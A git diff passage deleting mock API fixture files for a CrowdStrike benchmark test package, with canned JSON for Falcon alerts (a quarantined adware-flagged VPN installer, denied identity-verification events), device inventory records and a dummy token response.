"Windows11", - "ou": [ - "ABC", - "WinComputers" - ], - "platform_id": "0", - "platform_name": "Windows", - "pod_labels": null, - "product_type": "1", - "product_type_desc": "Workstation", - "site_name": "Default-First-Site-Name", - "status": "normal", - "system_manufacturer": "LENOVO", - "system_product_name": "20VE" - }, - "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "grandparent_details": { - "cmdline": "C:\\Windows\\system32\\userinit.exe", - "filename": "userinit.exe", - "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe", - "local_process_id": "4328", - "md5": "b07f77fd3f9828b2c9d61f8a36609741", - "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135", - "process_id": "392734873135", - "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", - "timestamp": "2023-10-30T16:49:19Z", - "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_name": "yuvraj.mahajan" - }, - "has_script_or_module_ioc": "true", - "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "ioc_context": [ - { - "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "ioc_source": "library_load", - "ioc_type": "hash_sha256", - "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "type": "module" - } - ], - "ioc_values": [], - "is_synthetic_quarantine_disposition": true, - "local_process_id": "17076", - "logon_domain": "ABSYS", - "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", - "name": "PrewittPupAdwareSensorDetect-Lowest", - "objective": "FalconDetectionMethod", - "parent_details": { - "cmdline": "C:\\WINDOWS\\Explorer.EXE", - "filename": "explorer.exe", - "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", - "local_process_id": "1040", - "md5": "8cc3fcdd7d52d2d5221303c213e044ae", - "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", - "process_id": "392736520876", - "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", - "timestamp": "2023-11-03T18:00:32Z", - "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_name": "mohit.jha" - }, - "parent_process_id": "392736520876", - "pattern_disposition": 2176, - "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.", - "pattern_disposition_details": { - "blocking_unsupported_or_disabled": false, - "bootup_safeguard_enabled": false, - "critical_process_disabled": false, - "detect": false, - "fs_operation_blocked": false, - "handle_operation_downgraded": false, - "inddet_mask": false, - "indicator": false, - "kill_action_failed": false, - "kill_parent": false, - "kill_process": false, - "kill_subprocess": false, - "operation_blocked": false, - "policy_disabled": false, - "process_blocked": true, - "quarantine_file": true, - "quarantine_machine": false, - "registry_operation_blocked": false, - "rooting": false, - "sensor_only": false, - "suspend_parent": false, - "suspend_process": false - }, - "pattern_id": 5761, - "platform": "Windows", - "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==", - "process_end_time": "1699034421", - "process_id": "399748687993", - "process_start_time": "1699034413", - "product": "epp", - "quarantined_files": [ - { - "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "state": "quarantined" - } - ], - "scenario": "NGAV", - "severity": 30, - "sha1": "0000000000000000000000000000000000000000", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "show_in_ui": true, - "source_products": [ - "FalconInsight" - ], - "source_vendors": [ - "CrowdStrike" - ], - "status": "new", - "tactic": "MachineLearning", - "tactic_id": "CSTA0004", - "technique": "Adware/PUP", - "technique_id": "CST0000", - "timestamp": "2023-11-03T18:00:22.328Z", - "tree_id": "1931778", - "tree_root": "38687993", - "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993", - "type": "ldt", - "updated_timestamp": "2023-11-03T19:00:23.985007341Z", - "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_name": "mohit.jha" - } - ] - } - `}} - - path: /alerts/combined/alerts/v1 - methods: ['POST'] - request_body: /.*"page-1"*/ - responses: - - status_code: 200 - headers: - Content-Type: - - application/json - body: |- - {{ minify_json ` - { - "meta": { - "pagination": { - "total": 3, - "limit": 1, - "after": "page-2" - } - }, - "errors": [], - "resources": [ - { - "agent_id": "38293534662e48c99f33c61631b3536d", - "aggregate_id": "aggind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9", - "cid": "4446934rf3fdb64ec3056ddfb96e", - "composite_id": "874694c2ff8c43fdb64ef3056ddfb96d:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9", - "confidence": 80, - "context_timestamp": "2024-08-16T18:43:44.242Z", - "crawled_timestamp": "2024-08-16T18:49:02.798354466Z", - "created_timestamp": "2024-08-16T18:45:02.987127397Z", - "data_domains": [ - "Identity" - ], - "description": "A user denied a policy identity verification request", - "display_name": "Identity verification denied", - "end_time": "2024-08-16T18:43:44.242Z", - "falcon_host_link": "https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a", - "id": "ind:4486934rf3fmb64eg566ddfb96e:5976J98F-D91B-ABC-FF9-1191C9021fdA1E7", - "idp_policy_mfa_factor_type": "68709", - "idp_policy_mfa_provider": "10", - "idp_policy_rule_id": "1B82F2DE-2A08-49E0-8F85-AD46996F9A65", - "idp_policy_rule_name": "admin - RDP Access to TIER-0 Servers", - "name": "IdpPolicyIdentityVerificationDenied", - "objective": "Gain Access", - "pattern_id": 51143, - "poly_id": "AAB3RpTC74xD_bZOwwVt37ltWwicqVJrn1DHb_UVfrn1QAAATiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==", - "product": "idp", - "scenario": "suspicious_activity", - "seconds_to_resolved": 3, - "seconds_to_triaged": 3, - "severity": 79, - "severity_name": "High", - "show_in_ui": true, - "source_account_azure_id": "65ddx-c454-45f9-9034-Fdf34353", - "source_account_domain": "NET.example.com", - "source_account_name": "admin.example", - "source_account_object_sid": "S-14-5424-21-dfaf3-234343-3434-1567733", - "source_account_sam_account_name": "admin.abcdef", - "source_account_upn": "admin.abcdef@example.com", - "source_endpoint_account_object_guid": "E436B3F0-078C-4629-9437-D3E3169147C0", - "source_endpoint_address_ip4": "81.2.69.144", - "source_endpoint_host_name": "ABDC454.net.example.com", - "source_endpoint_ip_address": "81.2.69.144", - "source_endpoint_sensor_id": "38293534662e48c99f33c61631b3536d", - "source_products": [ - "Falcon Identity Protection" - ], - "source_vendors": [ - "CrowdStrike" - ], - "start_time": "2024-08-19T18:43:44.242Z", - "status": "new", - "tactic": "Credential Access", - "tactic_id": "TA0006", - "technique": "Brute Force", - "technique_id": "T1110", - "tags": [ - "falcon_complete" - ], - "target_account_name": "HFJFJFFFFFFF$", - "target_endpoint_account_object_guid": "AAAAAAAA-0000-FFFFF-000000-A302EFCC8E6E", - "target_endpoint_account_object_sid": "S-1-5-21-746137067-1844237615-1801674531-298236", - "target_endpoint_host_name": "GH787.net.example.com", - "target_endpoint_sensor_id": "ac89a368e77a4fa5837b53c7f11fc9e7", - "timestamp": "2024-08-19T18:44:01.1Z", - "type": "idp-user-endpoint-app-info", - "updated_timestamp": "2024-08-19T18:49:02.798344752Z", - "user_name": "admin.abcdef", - "activity_browser": "Edge 126.0.0", - "activity_device": "LAPTOP-AP7299QV", - "activity_os": "Windows", - "active_directory_authentication_method": "5", - "activity_id": "2A8A7C96-0F17-412C-8105-94542784E00D", - "alert_attributes": "0", - "location_country_code": "US", - "location_latitude_as_int": 340726, - "location_longitude_as_int": -1182610, - "model_anomaly_indicators": [ - "ACCOUNT_IMPOSSIBLE_VELOCITY", - "ENVIRONMENT_UNUSUAL_IP", - "ENVIRONMENT_UNUSUAL_ISP_DOMAIN", - "ISP_DATACENTER_CLASSIFICATION" - ], - "ldap_search_query_attack": "16", - "protocol_anomaly_classification": "1", - "source_account_object_guid": "9F2CE16C-4A78-42E6-8565-87147707EE79", - "source_endpoint_account_object_sid": "S-1-5-21-111111111-2222222-1417001333-101158", - "source_endpoint_ip_reputation": "128", - "source_ip_isp_classification": "9", - "source_ip_isp_domain": "sioru.com", - "target_domain_controller_host_name": "APINTAL19DC01", - "target_domain_controller_object_guid": "45A24DB7-6CD3-48C5-974F-A97159E7E2B2", - "target_domain_controller_object_sid": "S-1-5-21-111111111-2222222-1417001333-85512", - "target_service_access_identifier": "HOST/admin.example.com" - } - ] - } - `}} - - path: /alerts/combined/alerts/v1 - methods: ['POST'] - responses: - - status_code: 200 - headers: - Content-Type: - - application/json - body: |- - {{ minify_json ` - { - "meta": { - "pagination": { - "total": 3, - "limit": 1, - "after": "page-1" - } - }, - "errors": [], - "resources": [ - { - "aggregate_id": "aggind:4444934rf3fdb64ec2059dmmb96e:5876E98M-F91K-48AW-8FFC-1191C663A1E9", - "agent_id": "58293534772e48c99f33c61631b3536d", - "cid": "4446934rf3fdb64ec3056ddfb96e", - "context_timestamp": "2024-08-19T18:43:44.242Z", - "composite_id": "874594c2ff8c23fdf64ef3086ddfb03e:ind:4441934rf3mmb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9", - "crawled_timestamp": "2024-08-19T18:49:02.798354466Z", - "created_timestamp": "2024-08-19T18:45:02.987127397Z", - "data_domains": [ - "Identity" - ], - "description": "A user denied a policy identity verification request", - "display_name": "Identity verification denied", - "end_time": "2024-08-19T18:43:44.242Z", - "falcon_host_link": "https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a", - "id": "ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429", - "idp_policy_mfa_factor_type": "42669", - "idp_policy_mfa_provider": "11", - "idp_policy_rule_id": "123324-343-4dfa9E0-8F85-dfaa3242", - "idp_policy_rule_name": "admin - RDP Access to TIER-0 Servers", - "name": "IdpPolicyIdentityVerificationDenied", - "objective": "Gain Access", - "pattern_id": 45897, - "poly_id": "MJdfafdB3RpTC74xD_bZOwwVt37erewrewdWwicqVJrn1DHb_UVfrn1QTiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==", - "product": "idp", - "scenario": "suspicious_activity", - "seconds_to_resolved": 0, - "seconds_to_triaged": 0, - "severity": 79, - "severity_name": "Medium", - "show_in_ui": true, - "source_account_azure_id": "65ddx-c454-324d-9034-Fdf34353", - "source_account_domain": "BCD.example.com", - "source_account_name": "admin.example", - "source_account_object_sid": "S-14-5424-21-dfaf3-234343-3434-1117733", - "source_account_sam_account_name": "admin.abcdef", - "source_account_upn": "admin.abcdef@example.com", - "source_endpoint_account_object_guid": "FDHJJ343-098C-4629-9437-DD3424GHJ", - "source_endpoint_address_ip4": "81.2.69.144", - "source_endpoint_host_name": "ABDC454.net.example.com", - "source_endpoint_ip_address": "81.2.69.144", - "source_endpoint_sensor_id": "38293523261gh48c99ffd234c6190123536e", - "source_products": [ - "Falcon Identity Protection" - ], - "source_vendors": [ - "CrowdStrike" - ], - "start_time": "2024-08-19T18:43:44.242Z", - "status": "new", - "tactic": "Credential Access", - "tactic_id": "TA0006", - "technique": "Brute Force", - "technique_id": "T1110", - "tags": [ - "falcon_complete" - ], - "target_account_name": "HFJFJFFFFFFF$", - "target_endpoint_account_object_guid": "AAAAAAAA-0000-FFFFF-000000-A302EFCC8M4536", - "target_endpoint_account_object_sid": "S-1-5-21-HG43242JJ-1844237615-18dfa1674531-298236", - "target_endpoint_host_name": "GH787.abc.example.com", - "target_endpoint_sensor_id": "afdsasf3423432nndv3432v", - "timestamp": "2024-08-19T18:44:01.1Z", - "type": "idp-user-endpoint-app-info", - "updated_timestamp": "2024-08-19T18:49:02.798344752Z", - "user_name": "admin.abcdef", - "activity_browser": "Edge 126.0.0", - "activity_device": "LAPTOP-ADFVEJM234V", - "activity_os": "Windows", - "active_directory_authentication_method": "4", - "activity_id": "3A7H7C00-FFF2344-23FFFF-9199905-91245754E10099D", - "alert_attributes": "0", - "location_country_code": "US", - "location_latitude_as_int": 320316, - "location_longitude_as_int": -12729080, - "model_anomaly_indicators": [ - "ACCOUNT_IMPOSSIBLE_VELOCITY", - "ENVIRONMENT_UNUSUAL_IP", - "ENVIRONMENT_UNUSUAL_ISP_DOMAIN", - "ISP_DATACENTER_CLASSIFICATION" - ], - "ldap_search_query_attack": "16", - "protocol_anomaly_classification": "1", - "source_account_object_guid": "78HF9842-HGG5-324F-9565-GJD47324", - "source_endpoint_account_object_sid": "S-1-4-21-111111111-2222222-14171121333-1045999", - "source_endpoint_ip_reputation": "118", - "source_ip_isp_classification": "8", - "source_ip_isp_domain": "abc.com", - "target_domain_controller_host_name": "GHPOTAL12578", - "target_domain_controller_object_guid": "59B24AA7-4GH8-f7H0-994F-B90159E7M2K1", - "target_domain_controller_object_sid": "S-2-8-21-333333-2222222-3431-95511", - "target_service_access_identifier": "HOST/root.demo.com" - } - ] - } - `}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-host.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-host.yml deleted file mode 100644 index 2b27c19c1e..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-host.yml +++ /dev/null @@ -1,769 +0,0 @@ -rules: - - path: /oauth2/token - methods: ['POST'] - responses: - - status_code: 200 - headers: - Content-Type: - - 'application/json' - body: | - {"access_token":"xxxx","expires_in":3600,"token_type":"Bearer","refresh_token":"yyyy"} - # test cases for /devices/combined/devices/v1 endpoint - - path: /devices/combined/devices/v1 - methods: ['GET'] - query_params: - offset: page-2 - limit: 1 - sort: modified_timestamp|asc - responses: - - status_code: 200 - headers: - Content-Type: - - application/json - body: |- - {{ minify_json ` - { - "meta": { - "pagination": { - "total": 3, - "limit": 1, - "offset": "" - } - }, - "errors": [], - "resources": [ - { - "agent_load_flags": "0", - "agent_local_time": "2023-11-07T04:51:16.678Z", - "agent_version": "7.05.17603.0", - "bios_manufacturer": "ABCInc.", - "bios_version": "2020.0.1.0.0(iBridge:22.11.000.0.0,0)", - "chassis_type": "9", - "chassis_type_desc": "Laptop", - "cid": "92012896127c4948236ba7601b886b0", - "config_id_base": "6594763", - "config_id_build": "1703", - "config_id_platform": "4", - "connection_ip": "81.2.69.192", - "cpu_signature": "460517", - "device_id": "3114433dbce478ca48d9a828b9b34be", - "device_policies": { - "device_control": { - "applied": true, - "applied_date": "2023-06-20T08:45:26.341093915Z", - "assigned_date": "2023-06-20T08:43:47.736146738Z", - "policy_id": "2f88daf0177f467dae69262a5ce71775", - "policy_type": "device-control" - }, - "firewall": { - "applied": true, - "applied_date": "2023-09-11T10:33:44.174488832Z", - "assigned_date": "2023-09-11T10:32:47.853976945Z", - "policy_id": "1ee301f7e3e24e96ad6a23c73aaac1e3", - "policy_type": "firewall", - "rule_set_id": "1ee301f7e3e24e96ad6a23c73aaac1e3" - }, - "global_config": { - "applied": true, - "applied_date": "2023-11-07T04:52:59.515775409Z", - "assigned_date": "2023-11-07T04:51:18.94671252Z", - "policy_id": "7e3078b60976486cac5dc998808d9135", - "policy_type": "globalconfig", - "settings_hash": "f01def74" - }, - "prevention": { - "applied": true, - "applied_date": "2023-06-08T10:04:47.643357971Z", - "assigned_date": "2023-06-08T10:03:49.505180252Z", - "policy_id": "1024fac1b279424fa7300b8ac2d56be5", - "policy_type": "prevention", - "rule_groups": [], - "settings_hash": "f7a54ca1" - }, - "remote_response": { - "applied": true, - "applied_date": "2023-06-08T10:04:47.01735027Z", - "assigned_date": "2023-06-08T10:03:49.505163572Z", - "policy_id": "dabb4def99034f11b9b3d52271584c9f", - "policy_type": "remote-response", - "settings_hash": "8a548e5e" - }, - "sensor_update": { - "applied": true, - "applied_date": "2023-11-07T04:52:59.659583066Z", - "assigned_date": "2023-11-07T04:47:43.342175341Z", - "policy_id": "64bfa2bbcd4e46da92a66b107933da11", - "policy_type": "sensor-update", - "settings_hash": "tagged|18;101", - "uninstall_protection": "ENABLED" - } - }, - "external_ip": "81.2.69.192", - "first_seen": "2023-06-08T10:00:19Z", - "group_hash": "b607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77", - "groups": [ - "182388a8dbea4c44b5e019cfd32c2695" - ], - "hostname": "CLM101-131.local", - "kernel_version": "22.6.0", - "last_seen": "2023-11-07T10:25:24Z", - "local_ip": "81.2.69.142", - "mac_address": "14-7d-da-ad-ac-71", - "machine_domain": "SYS", - "major_version": "22", - "meta": { - "version": "6002", - "version_string": "7:43570272778" - }, - "minor_version": "6", - "modified_timestamp": "2023-11-07T10:26:53Z", - "os_build": "22G120", - "os_version": "Ventura(13)", - "platform_id": "1", - "platform_name": "Mac", - "policies": [ - { - "applied": true, - "applied_date": "2023-06-08T10:04:47.643357971Z", - "assigned_date": "2023-06-08T10:03:49.505180252Z", - "policy_id": "1024fac1b279424fa7300b8ac2d56be5", - "policy_type": "prevention", - "rule_groups": [], - "settings_hash": "f7a54ca1" - } - ], - "product_type_desc": "Workstation", - "provision_status": "Provisioned", - "reduced_functionality_mode": "no", - "serial_number": "FVFDH73HMNHX", - "site_name": "Default-First-Site-Name", - "status": "normal", - "system_manufacturer": "ABCInc.", - "system_product_name": "Air,1", - "tags": [ - "tags" - ] - } - ] - } - `}} - - path: /devices/combined/devices/v1 - methods: ['GET'] - query_params: - offset: page-1 - limit: 1 - sort: modified_timestamp|asc - responses: - - status_code: 200 - headers: - Content-Type: - - application/json - body: |- - {{ minify_json ` - { - "meta": { - "pagination": { - "total": 3, - "limit": 1, - "offset": "", - "next": "page-2" - } - }, - "errors": [], - "resources": [ - { - "agent_load_flags": "0", - "agent_local_time": "2023-11-07T04:51:16.678Z", - "agent_version": "7.05.17603.0", - "bios_manufacturer": "ABCInc.", - "bios_version": "2020.0.1.0.0(iBridge:22.11.000.0.0,0)", - "chassis_type": "9", - "chassis_type_desc": "Laptop", - "cid": "92012896127c4948236ba7601b886b0", - "config_id_base": "6594763", - "config_id_build": "1703", - "config_id_platform": "4", - "connection_ip": "81.2.69.192", - "cpu_signature": "460517", - "device_id": "3114433dbce478ca48d9a828b9b34be", - "device_policies": { - "device_control": { - "applied": true, - "applied_date": "2023-06-20T08:45:26.341093915Z", - "assigned_date": "2023-06-20T08:43:47.736146738Z", - "policy_id": "3f88daf0177f467dae69262a5ce71775", - "policy_type": "device-control" - }, - "firewall": { - "applied": true, - "applied_date": "2023-09-11T10:33:44.174488832Z", - "assigned_date": "2023-09-11T10:32:47.853976945Z", - "policy_id": "1ee301f7e3e24e96ad6a23c73aaac1e3", - "policy_type": "firewall", - "rule_set_id": "1ee301f7e3e24e96ad6a23c73aaac1e3" - }, - "global_config": { - "applied": true, - "applied_date": "2023-11-07T04:52:59.515775409Z", - "assigned_date": "2023-11-07T04:51:18.94671252Z", - "policy_id": "7e3078b60976486cac5dc998808d9135", - "policy_type": "globalconfig", - "settings_hash": "f01def74" - }, - "prevention": { - "applied": true, - "applied_date": "2023-06-08T10:04:47.643357971Z", - "assigned_date": "2023-06-08T10:03:49.505180252Z", - "policy_id": "1024fac1b279424fa7300b8ac2d56be5", - "policy_type": "prevention", - "rule_groups": [], - "settings_hash": "f7a54ca1" - }, - "remote_response": { - "applied": true, - "applied_date": "2023-06-08T10:04:47.01735027Z", - "assigned_date": "2023-06-08T10:03:49.505163572Z", - "policy_id": "dabb4def99034f11b9b3d52271584c9f", - "policy_type": "remote-response", - "settings_hash": "8a548e5e" - }, - "sensor_update": { - "applied": true, - "applied_date": "2023-11-09T04:52:59.659583066Z", - "assigned_date": "2023-11-09T04:47:43.342175341Z", - "policy_id": "74bfa2bbcd4e46da92a66b107933da11", - "policy_type": "sensor-update", - "settings_hash": "tagged|18;101", - "uninstall_protection": "ENABLED" - } - }, - "external_ip": "81.2.69.192", - "first_seen": "2023-06-09T10:00:19Z", - "group_hash": "c607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77", - "groups": [ - "882388a8dbea4c44b5e019cfd32c2695" - ], - "hostname": "CLM101-141.local", - "kernel_version": "22.6.0", - "last_seen": "2023-11-09T10:25:24Z", - "local_ip": "81.2.69.142", - "mac_address": "14-7d-da-ad-ac-71", - "machine_domain": "SYS", - "major_version": "22", - "meta": { - "version": "6002", - "version_string": "7:43570272778" - }, - "minor_version": "6", - "modified_timestamp": "2023-11-09T10:26:53Z", - "os_build": "22G120", - "os_version": "Ventura(13)", - "platform_id": "1", - "platform_name": "Mac", - "policies": [ - { - "applied": true, - "applied_date": "2023-06-09T10:04:47.643357971Z", - "assigned_date": "2023-06-09T10:03:49.505180252Z", - "policy_id": "2024fac1b279424fa7300b8ac2d56be5", - "policy_type": "prevention", - "rule_groups": [], - "settings_hash": "m7a54ca1" - } - ], - "product_type_desc": "Workstation", - "provision_status": "Provisioned", - "reduced_functionality_mode": "no", - "serial_number": "FVVDH73HMNHX", - "site_name": "Default-First-Site-Name", - "status": "normal", - "system_manufacturer": "ABCInc.", - "system_product_name": "Air,1", - "tags": [ - "tags" - ] - } - ] - } - `}} - - path: /devices/combined/devices/v1 - methods: ['GET'] - query_params: - limit: 1 - sort: modified_timestamp|asc - responses: - - status_code: 200 - headers: - Content-Type: - - application/json - body: |- - {{ minify_json ` - { - "meta": { - "pagination": { - "total": 3, - "limit": 1, - "offset": "", - "next": "page-1" - } - }, - "errors": [], - "resources": [ - { - "agent_load_flags": "0", - "agent_local_time": "2023-11-07T04:51:16.678Z", - "agent_version": "7.05.17603.0", - "bios_manufacturer": "ABCInc.", - "bios_version": "2020.0.1.0.0(iBridge:22.11.000.0.0,0)", - "chassis_type": "9", - "chassis_type_desc": "Laptop", - "cid": "12345696127c4948236ba7601b886b0", - "config_id_base": "6594763", - "config_id_build": "1703", - "config_id_platform": "4", - "connection_ip": "81.2.69.192", - "cpu_signature": "460517", - "device_id": "3114433dbce478ca48d9a828b9b34be", - "device_policies": { - "device_control": { - "applied": true, - "applied_date": "2023-06-20T08:45:26.341093915Z", - "assigned_date": "2023-06-20T08:43:47.736146738Z", - "policy_id": "3f88daf0177f467dae69262a5ce71775", - "policy_type": "device-control" - }, - "firewall": { - "applied": true, - "applied_date": "2023-09-11T10:33:44.174488832Z", - "assigned_date": "2023-09-11T10:32:47.853976945Z", - "policy_id": "1ee301f7e3e24e96ad6a23c73aaac1e3", - "policy_type": "firewall", - "rule_set_id": "1ee301f7e3e24e96ad6a23c73aaac1e3" - }, - "global_config": { - "applied": true, - "applied_date": "2023-11-07T04:52:59.515775409Z", - "assigned_date": "2023-11-07T04:51:18.94671252Z", - "policy_id": "7e3078b60976486cac5dc998808d9135", - "policy_type": "globalconfig", - "settings_hash": "f01def74" - }, - "prevention": { - "applied": true, - "applied_date": "2023-06-08T10:04:47.643357971Z", - "assigned_date": "2023-06-08T10:03:49.505180252Z", - "policy_id": "1024fac1b279424fa7300b8ac2d56be5", - "policy_type": "prevention", - "rule_groups": [], - "settings_hash": "f7a54ca1" - }, - "remote_response": { - "applied": true, - "applied_date": "2023-06-08T10:04:47.01735027Z", - "assigned_date": "2023-06-08T10:03:49.505163572Z", - "policy_id": "dabb4def99034f11b9b3d52271584c9f", - "policy_type": "remote-response", - "settings_hash": "8a548e5e" - }, - "sensor_update": { - "applied": true, - "applied_date": "2023-11-09T04:52:59.659583066Z", - "assigned_date": "2023-11-09T04:47:43.342175341Z", - "policy_id": "74bfa2bbcd4e46da92a66b107933da11", - "policy_type": "sensor-update", - "settings_hash": "tagged|18;101", - "uninstall_protection": "ENABLED" - } - }, - "external_ip": "81.2.69.192", - "first_seen": "2023-06-09T10:00:19Z", - "group_hash": "c607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77", - "groups": [ - "882388a8dbea4c44b5e019cfd32c2695" - ], - "hostname": "CLM101-141.local", - "kernel_version": "22.6.0", - "last_seen": "2023-11-09T10:25:24Z", - "local_ip": "81.2.69.142", - "mac_address": "14-7d-da-ad-ac-71", - "machine_domain": "SYS", - "major_version": "22", - "meta": { - "version": "6002", - "version_string": "7:43570272778" - }, - "minor_version": "6", - "modified_timestamp": "2025-11-09T10:26:53Z", - "os_build": "22G120", - "os_version": "Ventura(13)", - "platform_id": "1", - "platform_name": "Mac", - "policies": [ - { - "applied": true, - "applied_date": "2023-06-09T10:04:47.643357971Z", - "assigned_date": "2023-06-09T10:03:49.505180252Z", - "policy_id": "2024fac1b279424fa7300b8ac2d56be5", - "policy_type": "prevention", - "rule_groups": [], - "settings_hash": "m7a54ca1" - } - ], - "product_type_desc": "Workstation", - "provision_status": "Provisioned", - "reduced_functionality_mode": "no", - "serial_number": "FVVDH73HMNHX", - "site_name": "Default-First-Site-Name", - "status": "normal", - "system_manufacturer": "ABCInc.", - "system_product_name": "Air,1", - "tags": [ - "tags" - ] - } - ] - } - `}} - - # test cases for /devices/queries/devices/v1 endpoint - - path: /devices/queries/devices/v1 - methods: ['GET'] - query_params: - offset: 0 - limit: 1 - responses: - - status_code: 200 - headers: - Content-Type: - - application/json - body: | - {{ minify_json ` - { - "meta": { - "query_time": 0.017724698, - "pagination": { - "offset": 0, - "limit": 1, - "total": 3 - }, - "writes": { - "resources_affected": 0 - }, - "powered_by": "detectsapi", - "trace_id": "a21557a2-abd0-4363-9293-727c38084b3b" - }, - "resources": [ - "abc" - ] - } - `}} - - path: /devices/queries/devices/v1 - methods: ['GET'] - query_params: - offset: 1 - limit: 1 - responses: - - status_code: 200 - headers: - Content-Type: - - application/json - body: | - {{ minify_json ` - { - "meta": { - "query_time": 0.017724698, - "pagination": { - "offset": 1, - "limit": 1, - "total": 3 - }, - "writes": { - "resources_affected": 0 - }, - "powered_by": "detectsapi", - "trace_id": "b21557a2-abd0-4363-9293-727c384b3b" - }, - "resources": [ - "def" - ] - } - `}} - - path: /devices/queries/devices/v1 - methods: ['GET'] - query_params: - offset: 2 - limit: 1 - responses: - - status_code: 200 - headers: - Content-Type: - - application/json - body: | - {{ minify_json ` - { - "meta": { - "query_time": 0.017725698, - "pagination": { - "offset": 2, - "limit": 1, - "total": 2 - }, - "writes": { - "resources_affected": 0 - }, - "powered_by": "detectsapi", - "trace_id": "a31557a2-abd0-4363-9293-727c384b3b" - }, - "resources": [] - } - `}} - - path: /devices/entities/devices/v2 - methods: ['POST'] - request_body: /.*"abc"*/ - responses: - - status_code: 200 - headers: - Content-Type: - - application/json - body: |- - { - "resources":[ - { - "agent_load_flags":"0", - "agent_local_time":"2023-11-07T04:51:16.678Z", - "agent_version":"7.05.17603.0", - "bios_manufacturer":"ABCInc.", - "bios_version":"2020.0.1.0.0(iBridge:22.11.000.0.0,0)", - "chassis_type":"9", - "chassis_type_desc":"Laptop", - "cid":"92012896127c4948236ba7601b886b0", - "config_id_base":"6594763", - "config_id_build":"1703", - "config_id_platform":"4", - "connection_ip":"81.2.69.192", - "cpu_signature":"460517", - "device_id":"3114433dbce478ca48d9a828b9b34be", - "device_policies":{ - "device_control":{ - "applied":true, - "applied_date":"2023-06-20T08:45:26.341093915Z", - "assigned_date":"2023-06-20T08:43:47.736146738Z", - "policy_id":"2f88daf0177f467dae69262a5ce71775", - "policy_type":"device-control" - }, - "firewall":{ - 